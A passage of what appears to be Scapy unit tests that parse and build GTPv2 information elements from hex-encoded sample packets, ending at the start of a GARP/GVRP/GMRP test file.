"3333333333332222222222228100838408004588004a00000000fd1193160a2a00010a2a0002084b824600366a744823002a45e679235ea151000200020010005d001800490001006c0200020010005700090081000010927f000002558d3b69" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Cause == 16 = IE_Cause, basic instantiation ie = IE_Cause( ietype='Cause', length=2, Cause='Request accepted', PCE=1, BCE=0, CS=0) ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 1 and ie.BCE == 0 and ie.CS == 0 = IE_Cause, basic instantiation 2 ie = IE_Cause( ietype='Cause', length=2, Cause='Request accepted', PCE=0, BCE=1, CS=0) ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 1 and ie.CS == 0 = IE_Cause, basic instantiation 3 ie = IE_Cause( ietype='Cause', length=2, Cause='Request accepted', PCE=0, BCE=0, CS=1) ie.ietype == 2 and ie.Cause == 16 and ie.PCE == 0 and ie.BCE == 0 and ie.CS == 1 = IE_RecoveryRestart, dissection h = "3333333333332222222222228100838408004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e400100095e4b1f00030001000daa000000003f1f382f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 3 and ie.restart_counter == 13 = IE_RecoveryRestart, basic instantiation ie = IE_RecoveryRestart( ietype='Recovery Restart', length=1, restart_counter=17) ie.ietype == 3 and ie.restart_counter == 17 = IE_APN, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[7] ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa' = IE_APN, basic instantiation ie = IE_APN(ietype='APN', length=26, APN='aaaaaaaaaaaaaaaaaaaaaaaaa') ie.ietype == 71 and ie.APN == b'aaaaaaaaaaaaaaaaaaaaaaaaa' assert bytes(ie) == b'G\x00\x1a\x00\x19aaaaaaaaaaaaaaaaaaaaaaaaa' = IE_AMBR, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[11] ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000 = IE_AMBR, basic instantiation ie = IE_AMBR( ietype='AMBR', length=8, AMBR_Uplink=5888, AMBR_Downlink=42000) ie.ietype == 72 and ie.AMBR_Uplink == 5888 and ie.AMBR_Downlink == 42000 = IE_EPSBearerID, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.EBI == 50 = IE_EPSBearerID, basic instantiation ie = IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=50) ie.ietype == 73 and ie.EBI == 50 = IE_IP_Address, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d84530d5a4cdee2000200020010004c00060011111111111149000100b248000800000061a8000249f07f000100005d00130049000100da0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.address == '127.0.0.4' = IE_IP_Address, basic instantiation ie = IE_IP_Address(ietype='IP Address', length=4, address='127.0.0.4') ie.ietype == 74 and ie.address == '127.0.0.4' = IE_MEI, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b00080071655774980786ff56000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.MEI == b"17567547897068" = IE_MEI, basic instantiation ie = IE_MEI(ietype='MEI', length=1, MEI=175675478970685) ie.ietype == 75 and ie.MEI == 175675478970685 = IE_MSISDN, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.digits == b'111111111111' = IE_MSISDN, basic instantiation ie = IE_MSISDN(ietype='MSISDN', length=6, digits='111111111111') ie.ietype == 76 and ie.digits == b'111111111111' assert bytes(ie) == b'L\x00\x06\x00\x11\x11\x11\x11\x11\x11' = IE_Indication, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b00080071655774980786ff56000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[10] ie.DAF == 0 and ie.DTF == 0 and ie.PS == 1 and ie.CCRSI == 0 and ie.CPRAI == 0 and ie.PPON == 0 and ie.CLII == 0 and ie.CPSR == 0 = IE_Indication, basic instantiation ie = IE_Indication(ietype='Indication', length=8, PS=1, CPRAI=1) ie.ietype == 77 and ie.PS == 1 and ie.CPRAI == 1 = IE_Indication, basic instantiation 2 ie = IE_Indication(ietype='Indication', length=8, DTF=1, PPSI=1) ie.ietype == 77 and ie.DTF == 1 and ie.PPSI == 1 = IE_PCO, dissection h = "333333333333222222222222810083840800458800a500000000fd1183bb0a2a00010a2a0002084b76a00091cf0b48210085bd574af24c68e300020002001000570009008b000010927f0000025700090187000010927f0000024f000500017f0000037f000100004e00220080000d040a2a0003000d040a2a00038021100300001081060a2a000483060a2a00045d00250049000100660200020010005700090081000010927f0000025700090285000010927f000002dd9f22c6" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.Protocols[0].address == '10.42.0.3' = IE_PCO, basic instantiation ie = IE_PCO(ietype='Protocol Configuration Options', length=8, Extension=1, PPP=3, Protocols=[ PCO_DNS_Server_IPv4(type='DNS Server IPv4 Address Request', length=4, address='10.42.0.3')]) ie.Extension == 1 and ie.PPP == 3 and ie.Protocols[0].address == '10.42.0.3' = IE_EPCO, dissection h = "d89ef3da40e2fa163e956dce08004500003000010000401144e10a0f0f3d0a0f1281084b084b001c0c154821000c0000000100000100c500040080001b00" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Protocols[0].type == 27 = IE_EPCO, basic instantiation ie = IE_EPCO(Protocols=[PCO_S_Nssai(type=27, length=0)], ietype=197, length=4, CR_flag=0, instance=0, Extension=1, SPARE=0, PPP=0) ie.Extension == 1 and ie.ietype == 197 and ie.Protocols[0].type == 27 and ie.Protocols[0].length == 0 = IE_APCO, dissection h = "d89ef3da40e2fa163e956dce0800450000360001000040115d650a0f0f3d01020304084b084b00220000482000160000000100000100a3000a0080000c00001200000d00" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Protocols[0].type == 12 and ie.Protocols[1].type == 18 and ie.Protocols[2].type == 13 = IE_APCO, basic instantiation ie = IE_APCO(Protocols=[PCO_P_CSCF_IPv4_Address_Request(address=None, type=12, length=0),PCO_P_CSCF_Re_selection_Support(type=18, length=0),PCO_DNS_Server_IPv4(address=None, type=13, length=0)], ietype=163, length=10, CR_flag=0, instance=0, extension=1, SPARE=0, PPP=0) ie.extension == 1 and ie.ietype == 163 and ie.length == 10 and ie.Protocols[0].type == 12 and ie.Protocols[1].type == 18 and ie.Protocols[2].type == 13 = IE_MMContext_EPS, dissection h = "d89ef3da40e2fa163e956dce08004500007f0001000040114bbd0a0a0f3d0a0f0b5b084b084b006b5a234883005f0000180f76d163006b0046008800910000020000021890aa80be385102083701a2907066f8bd9f2a28b717671c71c71c71c71c71c70100003d090002625a00028040000812345678900000000000000000006d000900880005000470677731" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.Sec_Mode == 4 and ie.Nhi == 0 and ie.Drxi == 1 and ie.Ksi == 0 and ie.Num_quint == 0 and ie.Num_Quad == 0 and ie.Uambri == 0 and ie.Osci == 0 and ie.Sambri == 1 and ie.Nas_algo == 1 and ie.Nas_cipher == 1 and ie.Nas_dl_count == 2 and ie.Nas_ul_count == 2 and ie.Kasme == 11111111111111111111111111111111111111111111111111111111111111111111111111111 = IE_MMContext_EPS, basic instantiation ie = IE_MMContext_EPS(ietype=107, length=70, CR_flag=0, instance=0, Sec_Mode=4, Nhi=0, Drxi=1, Ksi=0, Num_quint=0, Num_Quad=0, Uambri=0, Osci=0, Sambri=1, Nas_algo=1, Nas_cipher=1, Nas_dl_count=2, Nas_ul_count=2, Kasme=11111111111111111111111111111111111111111111111111111111111111111111111111111) ie.Sec_Mode == 4 and ie.Nhi == 0 and ie.Drxi == 1 and ie.Ksi == 0 and ie.Num_quint == 0 and ie.Num_Quad == 0 and ie.Uambri == 0 and ie.Osci == 0 and ie.Sambri == 1 and ie.Nas_algo == 1 and ie.Nas_cipher == 1 and ie.Nas_dl_count == 2 and ie.Nas_ul_count == 2 and ie.Kasme == 11111111111111111111111111111111111111111111111111111111111111111111111111111 = IE_PDNConnection, IE_FQDN, dissection h = "d89ef3da40e2fa163e956dce08004500008a0001000040114bbd0a0a0f3d0a0f0b5b084b084b00765a234883006a0000180f76d163006b0046008800910000020000021890aa80be385102083701a2907066f8bd9f2a28b717671c71c71c71c71c71c70100003d090002625a00028040000812345678900000000000000000006d0014008800100004706777310474657374056c6f63616c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1].IE_list[0] ie.fqdn == b'pgw1.test.local' gtp.build().hex() == h = IE_PDNConnection, IE_FQDN, basic instantiation ie = IE_PDNConnection(IE_list=[IE_FQDN(ietype=136, length=5, CR_flag=0, instance=0, fqdn=b'pgw1.test.local')], ietype=109, length=9, CR_flag=0, instance=0) ie2 = ie.IE_list[0] ie2.fqdn == b'pgw1.test.local' = IE_PAA, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3' = IE_PAA, basic instantiation ie = IE_PAA(ietype='PAA', length=5, PDN_type='IPv4', ipv4='127.0.0.3') ie.ietype == 79 and ie.PDN_type == 1 and ie.ipv4 == '127.0.0.3' = IE_Bearer_QoS, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[12].IE_list[2] ie.MaxBitRateForUplink == 0 and ie.MaxBitRateForDownlink == 0 and ie.QCI == 7 = IE_Bearer_QoS, basic instantiation ie = IE_Bearer_QoS(ietype='Bearer QoS', length=22, PCI=4, PriorityLevel=5, PVI=6, QCI=7, MaxBitRateForUplink=1, MaxBitRateForDownlink=2, GuaranteedBitRateForUplink=3, GuaranteedBitRateForDownlink=4) ie.ietype == 80 and ie.PCI == 4 and ie.PriorityLevel == 5 and ie.PVI == 6 and ie.QCI == 7 and ie.MaxBitRateForUplink == 1 and ie.MaxBitRateForDownlink == 2 and ie.GuaranteedBitRateForUplink == 3 and ie.GuaranteedBitRateForDownlink == 4 = IE_RAT, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[4] ie.RAT_type == 6 = IE_RAT, basic instantiation ie = IE_RAT(ietype='RAT', length=1, RAT_type='EUTRAN') ie.ietype == 82 and ie.RAT_type == 6 = IE_ServingNetwork, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[3] ie.MCC == b'234' and ie.MNC == b'02' = IE_ServingNetwork, basic instantiation ie = IE_ServingNetwork( ietype='Serving Network', length=3, MCC='234', MNC='02') ie.ietype == 83 and ie.MCC == b'234' and ie.MNC == b'02' = IE_ULI, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.TAI_Present == 1 and ie.ECGI_Present == 1 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456 = IE_ULI, basic instantiation ie = IE_ULI(ietype='ULI', length=13, LAI_Present=0, ECGI_Present=1, TAI_Present=1, RAI_Present=0, SAI_Present=0, CGI_Present=0, TAI=ULI_TAI(MCC='234', MNC='02', TAC=12345), ECGI=ULI_ECGI(MCC='234', MNC='02', ECI=123456)) ie.ietype == 86 and ie.LAI_Present == 0 and ie.ECGI_Present == 1 and ie.TAI_Present == 1 and ie.RAI_Present == 0 and ie.SAI_Present == 0 and ie.CGI_Present == 0 and ie.TAI.MCC == b'234' and ie.TAI.MNC == b'02' and ie.TAI.TAC == 12345 and ie.ECGI.MCC == b'234' and ie.ECGI.MNC == b'02' and ie.ECGI.ECI == 123456 = IE_UCI, dissection h = "fe1d70fa717ceeeeeeeeeeee080045000127a4f500003c11e9aec0a8ee80c0a87f50084b23a301131aa1482001070000000001020f009100080021f3540000001602" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.CSG_ID == 22 and ie.AccessMode == 0 and ie.LCSG == 1 and ie.CMI == 0 and ie.MCC == b'123' and ie.MNC == b'45' = IE_UCI, basic instantiation ie = IE_UCI(ietype='UCI', length=8, CR_flag=0, instance=0, MCC=b'123', MNC=b'45', SPARE1=0, SPARE2=0, CSG_ID=22, AccessMode=0, LCSG=1, CMI=0) ie.ietype == 145 and ie.CSG_ID == 22 and ie.AccessMode == 0 and ie.LCSG == 1 and ie.CMI == 0 and ie.MCC == b'123' and ie.MNC == b'45' = IE_BearerFlags, dissection h = "0026f126c100000c29b131dd81004d040800450000d8a6010000401118680a2180350a212735084b138800c47f8248210011000023f2000001005d006200610001000a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0].IE_list[0] ie.ASI == 1 and ie.Vind == 0 and ie.VB == 1 and ie.PPC == 0 = IE_BearerFlags, basic instantiation ie = IE_BearerFlags(ietype='Bearer Flags', length=1, CR_flag=0, instance=0, SPARE=0, ASI=1, Vind=0, VB=1, PPC=0) ie.ietype == 97 and ie.ASI == 1 and ie.Vind == 0 and ie.VB == 1 and ie.PPC == 0 = IE_UPF_SelInd_Flags, dissection h = "000c29b131dd0026f126c10081000d04080045000112608940003f111ea60a2127350a2180351388084b00fe0ec44820000d0000000000000100ca00010000" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.DCNR == 0 = IE_UPF_SelInd_Flags, basic instantiation ie = IE_UPF_SelInd_Flags(ietype='UP Function Selection Indication Flags', length=1, CR_flag=0, instance=0, SPARE=0, DCNR=0) ie.ietype == 202 and ie.DCNR == 0 = IE_Ran_Nas_Cause, dissection h = "00000000000000000000000008004500005a0000000040114d390101010101010102084b084b0046bf694824000e000ba0df00002300ac0002003011" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.protocol_type == 3 and ie.cause_type == 0 and ie.cause_value == 17 = IE_Ran_Nas_Cause, basic instantiation ie = IE_Ran_Nas_Cause(ietype='RAN/NAS Cause', length=2, CR_flag=0, instance=0, protocol_type=3, cause_type=0, cause_value=17) ie.ietype == 172 and ie.protocol_type == 3 and ie.cause_type == 0 and ie.cause_value == 17 = IE_FQCSID, dissection h = "d89ef3da40e2fa163e956dce0800450000330001000040117a2a0a0f0f3d0a09dd3a084b084b001f454648240013000000010000010084000700010a01010b00c8" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 132 and ie.nodeid_type == 0 and ie.num_csid == 1 and ie.nodeid_v4 == '10.1.1.11' and ie.csid == 200 = IE_FQCSID, basic instantiation ie = IE_FQCSID(ietype=132, length=19, CR_flag=0, instance=0, nodeid_type=1, num_csid=1, nodeid_v4=None, nodeid_v6=42540578207381523466529575969228128257, nodeid_nonip=None, csid=0) ie.ietype == 132 and ie.nodeid_type == 1 and ie.num_csid == 1 and ie.nodeid_v6 == 42540578207381523466529575969228128257 and ie.csid == 0 = IE_FTEID, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.GRE_Key == 4242 and ie.ipv4 == '127.0.0.2' = IE_FTEID, basic instantiation ie = IE_FTEID(ietype='F-TEID', length=9, ipv4_present=1, InterfaceType=10, GRE_Key=0x1092, ipv4='127.0.0.2') ie.ietype == 87 and ie.ipv4_present == 1 and ie.InterfaceType == 10 and ie.GRE_Key == 0x1092 and ie.ipv4 == '127.0.0.2' = IE_BearerContext, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[12] len(ie.IE_list) == 3 and ie.IE_list[0].ietype == 73 and ie.IE_list[0].EBI == 229 and ie.IE_list[ 1].ietype == 87 and ie.IE_list[1].ipv4 == '127.0.0.2' and ie.IE_list[2].ietype == 80 and ie.IE_list[2].QCI == 7 = IE_BearerContext, basic instantiation ie = IE_BearerContext(ietype='Bearer Context', length=44, IE_list=[ IE_EPSBearerID(ietype='EPS Bearer ID', length=1, EBI=229)]) ie.ietype == 93 and len(ie.IE_list) == 1 and ie.IE_list[ 0].ietype == 73 and ie.IE_list[0].EBI == 229 = IE_ChargingID, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004da0316b4d96ac2c000200020010004c00060011111111111149000100c348000800000061a8000249f07f000100005d001300490001003f0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5].IE_list[2] ie.ChargingID == 956321605 = IE_ChargingID, basic instantiation ie = IE_ChargingID(ietype='Charging ID', length=4, ChargingID=956321605) ie.ietype == 94 and ie.ChargingID == 956321605 = IE_ChargingCharacteristics, dissection h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f82fd783953790a2000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001000750001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[18] ie.ChargingCharacteristic == 0xa00 = IE_ChargingCharacteristics, basic instantiation ie = IE_ChargingCharacteristics( ietype='Charging Characteristics', length=2, ChargingCharacteristic=0xa00) ie.ietype == 95 and ie.ChargingCharacteristic == 0xa00 = IE_PDN_type, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[8] ie.PDN_type == 1 = IE_PDN_type, basic instantiation ie = IE_PDN_type(ietype='PDN Type', length=1, PDN_type='IPv4') ie.ietype == 99 and ie.PDN_type == 1 = IE_UE_Timezone, dissection h = "3333333333332222222222228100a384080045b800ed00000000fc1193430a2a00010a2a00027f61084b00d91c47482000cd140339f4d99f66000100080002081132547600004b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a00196161616161616161616161616161616161616161616161616163000100014f000500017f0000034d0004000808000048000800000017000000a4105d002c0049000100e55700090385000010927f00000250001600580700000000000000000000000000000000000000007200020014005311004c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[13] ie.Timezone == 20 and ie.DST == 0 = IE_UE_Timezone, basic instantiation ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=0) ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 0 = IE_UE_Timezone, basic instantiation ie = IE_UE_Timezone(ietype='UE Time zone', length=2, Timezone=20, DST=1) ie.ietype == 114 and ie.Timezone == 20 and ie.DST == 1 = IE_Port_Number, dissection h = "00010203040800808e8f8ab608004500004100010000401169140b00019705000001ec45084b002da8524820001d00000000006e400001000700420061896453f44a0004005f1e1d737e0002004532" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.PortNumber == 17714 = IE_Port_Number, basic instantiation ie = IE_Port_Number( ietype='Port Number', length=2, PortNumber=17714) ie.ietype == 126 and ie.PortNumber == 17714 = IE_APN_Restriction, dissection h = "3333333333332222222222228100838408004580006d00000000f31180d20a2a00010a2a0002084b85930059e49a4823004d55819f6500ede7000200020010004c000600111111111111490001003248000800000061a8000249f07f000100005d001300490001000b0200020010005e00040039004f454a0004007f00000436f73a63" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[4] ie.APN_Restriction == 0 = IE_APN_Restriction, basic instantiation ie = IE_APN_Restriction( ietype='APN Restriction', length=1, APN_Restriction=0) ie.ietype == 127 and ie.APN_Restriction == 0 = IE_SelectionMode, dissection h = "3333333333332222222222228100a384080045b8011800000000fc1193150a2a00010a2a00027be5084b010444c4482000f8093ca4cc47fa69000100080002081132547600004c0006001111111111114b000800000000000001e24056000d001832f420303932f4200001e2405300030032f4205200010006570009008a000010927f0000025700090187000010927f00000247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000800007f00010000480008000000c3500002e6304e001a008080211001000010810600000000830600000000000d00000a005d001f00490001004850001600190700000000000000000000000000000000000000007200020014005f0002000a008e80b09f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.SelectionMode == 0 = IE_SelectionMode, basic instantiation ie = IE_SelectionMode( ietype='Selection Mode', length=1, SelectionMode=4) ie.ietype == 128 and ie.SelectionMode == 4 = IE_MMBR, dissection h = "3333333333332222222222228100838408004580014c97af0000f011830e0a2a00010a2a000282d5084b013876a74820012c29694a667f4a0b000100080002081132547600004c0006001111111111114b000800000000000001e24056000f000632f42030391a8532f42030391a855300030032f420520001000157001900c6000010927f0000020000000000000000000000000000fe8247001a001961616161616161616161616161616161616161616161616161800001000063000100014f000500017f0000034d000400000000007f000100004800080000001640000052084e00200080c02306010000060000802110010000108106000000008306000000000005005d003c00490001006057001902c4000010927f0000020000000000000000000000000000fe825000160029080000000000000000000000000000000000000000720002006e005f0002000a00a10008000000164000005208e4701ad2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[18] ie.uplink_rate == 5696 and ie.downlink_rate == 21000 = IE_MMBR, basic instantiation ie = IE_MMBR(ietype='Max MBR/APN-AMBR (MMBR)', length=8, uplink_rate=5696, downlink_rate=21000) ie.ietype == 161 and ie.uplink_rate == 5696 and ie.downlink_rate == 21000 = GTPHeader isn't an answer to not GTPHeader instance GTPHeader(gtp_type=2).answers(Ether()) == False = GTPHeader is an answer to a message with the same sequence number GTPHeader(seq=42).answers(GTPHeader(seq=42)) == True = GTPHeader isn't an answer to a message with a different sequence number GTPHeader(seq=42).answers(GTPHeader(seq=24)) == False = GTPV2EchoResponse answers assert (GTPHeader(seq=1)/GTPV2EchoResponse()).answers(GTPHeader(seq=1)/GTPV2EchoRequest()) assert not (GTPHeader(seq=1)/GTPV2EchoResponse()).answers(GTPHeader(seq=1)/GTPV2EchoResponse()) = GTPHeader post_build gtp = GTPHeader(gtp_type="create_session_req") / ("X"*32) gtp.show2() = GTPHeader length calculation h = GTPHeader(seq=12345, version=2, T=1, teid=1234)/("X"*32) h = GTPHeader(h.do_build()) h[GTPHeader].length == len(bytes(h)) - 4 = GTPHeader hashret req = GTPHeader(gtp_type="create_session_req", seq=1) / ("X"*32) res = GTPHeader(gtp_type="create_session_res", seq=1) / ("Y"*32) req.hashret() == res.hashret() = IE_NotImplementedTLV h = "333333333333222222222222810080c808004588002937dd0000fd1115490a2a00010a2a0002084b084b00152d0e4001000900000100fe0001000daa000000003f1f382f" gtp = Ether(hex_bytes(h)) isinstance(gtp.IE_list[0], IE_NotImplementedTLV) isinstance(gtp.IE_list[0].payload, NoPayload) = IE_PrivateExtension, dissection h = "d89ef3da40e2fa163e956dce08004500005b0001000040115d400a0f0f3d01020304084b084b00470000482000620000000100000100ff0015000137020046462d46462d46462d46462d46462d4646ff00160001370100000100000000000000000000000000000000" gtp = Ether(hex_bytes(h)) ie1 = gtp.IE_list[0] ie2 = gtp.IE_list[1] ie1.enterprisenum == 311 and bytes_hex(ie1.proprietaryvalue) == b'020046462d46462d46462d46462d46462d4646' ie2.enterprisenum == 311 and bytes_hex(ie2.proprietaryvalue) == b'0100000100000000000000000000000000000000' = IE_PrivateExtension, basic instantiation ie1 = IE_PrivateExtension(ietype=255, length=21, SPARE=0, instance=0, enterprisenum=311, proprietaryvalue=hex_bytes('020046462d46462d46462d46462d46462d4646')) ie2 = IE_PrivateExtension(ietype=255, length=22, SPARE=0, instance=0, enterprisenum=311, proprietaryvalue=hex_bytes('0100000100000000000000000000000000000000')) ie1.enterprisenum == 311 and bytes_hex(ie1.proprietaryvalue) == b'020046462d46462d46462d46462d46462d4646' ie2.enterprisenum == 311 and bytes_hex(ie2.proprietaryvalue) == b'0100000100000000000000000000000000000000' ================================================ FILE: test/contrib/gxrp.uts ================================================ # GXRP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('gxrp')" -t test/contrib/gxrp.uts + GVRP test = Construction test pkt = GVRP(vlan=2) assert pkt.vlan == 2 assert pkt == GVRP(raw(pkt)) + GMRP test = GMRP_GROUP Construction test pkt = GMRP_GROUP(addr="01:23:45:67:89:00") assert pkt.addr == "01:23:45:67:89:00" assert pkt == GMRP_GROUP(raw(pkt)) = GMRP_SERVICE Construction test pkt = GMRP_SERVICE(event="All Groups") assert pkt.event == 0 pkt = GMRP_SERVICE(event="All Unregistered Groups") assert pkt.event == 1 assert pkt == GMRP_SERVICE(raw(pkt)) + GARP Attribute test = GMRP_GROUP Construction test pkt = 